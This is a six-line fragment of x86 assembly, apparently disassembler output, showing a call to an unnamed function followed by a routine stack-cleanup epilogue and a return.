call fcn.004052e6
pop edi
pop esi
pop ebx
leave
ret 8